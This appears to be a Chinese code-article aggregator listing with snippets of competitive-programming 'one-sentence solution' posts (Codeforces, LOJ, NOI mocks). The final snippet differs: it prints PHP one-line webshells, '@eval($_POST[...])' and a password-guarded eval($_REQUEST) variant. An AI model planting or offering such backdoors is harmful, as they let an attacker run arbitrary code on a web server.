原文:一句話題解(2020-04)

看起來很牛逼,實際上是因為懶得寫詳細題解所以摸了,只寫一句話題解。 CF F 注意到填充顏色遞增,對每個顏色而言就是此顏色正序加入,非此顏色倒序加入,並查集正反兩遍維護,鏈接。 CF G 點分治,經過重心的路徑分成上下兩段,對於一個上段,權值關於下段的長度是一個一次函數,用李超樹維護上段的函數,鏈接。 CF E 預處理出以每個位置為中心的最大圖標大小,詢問時二分答案查詢一個矩形區域中的最大值是否不 ...

2020-04-02 18:19 0 780 推薦指數:

查看詳情

一句話題解2

目錄 7026. 2021.03.26【2021省賽模擬】序列 7027. 2021.03.26【2021省賽模擬】a 7028. 2021.03.26【2021省賽模 ...

Tue Mar 30 05:17:00 CST 2021 0 269
一句話題解3

目錄 CF Deltix Round, Spring 2021 (open for everyone, rated, Div. 1 + Div. 2) 7102. 【202 ...

Sun Jun 13 19:07:00 CST 2021 0 927
一句話題解(2021.4)

7069. 【2021.4.28 NOI模擬】匹配(match) 打表發現的神必結論:設bi=i&pi,把b的計算次數寫下來發現只有1/-1,再發現就是\(\large (-1)^{popc ...

Thu Apr 01 06:52:00 CST 2021 0 243
一句話題解(2021.1)

CF1477F. Nezzar and Chocolate Bars 顯然每一段的每個位置切的概率相同,ans=Σ時間t時未結束的概率 容斥有i段>k,枚舉每段切m刀,則有 \(\larg ...

Sun Jan 03 06:03:00 CST 2021 0 365
LOJ 一本通一句話題解系列:

第一部分 基礎算法 第 1 章 貪心算法 1):「一本通 1.1 例 1」活動安排:按照結束時間排序,然后掃一遍就可以了。 2):「一本通 1.1 例 2」種樹:首先要盡量的往區間重疊的部分種樹 ...

Wed Oct 31 15:05:00 CST 2018 4 2019
瞎做題一句話題解&待做題

待坑題: UR1T3:仙人掌上點分治+奇怪的優化 ULR1:陰間題組T3~T6 dij網絡流模板 【ZJOI2017】多項式:奇怪的倍增 【CTSC2017】最長上升子序列:楊表練習題 CF1477 ...

Sat Dec 19 06:26:00 CST 2020 0 476
退役前的一句話題解

由於太懶了,沒什么意思的題就寫一句話題解了 10.07 zroi #1118 分別對\(\sum a,\sum b\)開狀態開不下,考慮到\(a_i\leq b_i\),所以任意時刻都有\(\sum a\leq \sum b\),所以設\(dp_{i,j}\)表示選到了第\(i\)個數滿足 ...

Tue Oct 08 01:04:00 CST 2019 4 306
一句話

PHP一句話:1、普通一句話 <!--?php @eval($_POST['ki11']);?--> 2、防爆破一句話 <!--?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['ki11 ...

Tue Sep 06 01:49:00 CST 2016 1 6283
 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM